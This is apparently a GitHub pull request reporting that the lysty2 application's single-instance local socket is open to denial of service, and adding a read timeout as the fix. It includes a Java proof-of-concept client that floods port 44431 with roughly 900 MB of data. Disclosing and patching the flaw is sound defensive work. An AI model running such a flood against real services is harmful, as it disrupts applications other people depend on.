nuwansam/lysty2 — pull request #22 by asela38 (2013-11-27 14:31:30+00:00)
Title: Vulnerability For DOS attack

To Make the application single instance, here used a local socket. But this can be make the application vulnerable to an DOS attack. e.g.
package com.asela.socket;

import java.io.IOException;
import java.io.PrintWriter;
import java.net.InetAddress;
import java.net.Socket;

public class SocketClient {

public static void main(String[] args) {

try (Socket client = new Socket(InetAddress.getLocalHost(), 44431)) {
PrintWriter writer = new PrintWriter(client.getOutputStream());
for (int j = 0; j < 10000; j++) {
for (int i = 0; i < 10000; i++) {
writer.write("123456789");
}
writer.flush();
}
} catch (IOException e) {
e.printStackTrace();
}
}
}

Here I have implemented timeout when reading from the socket connection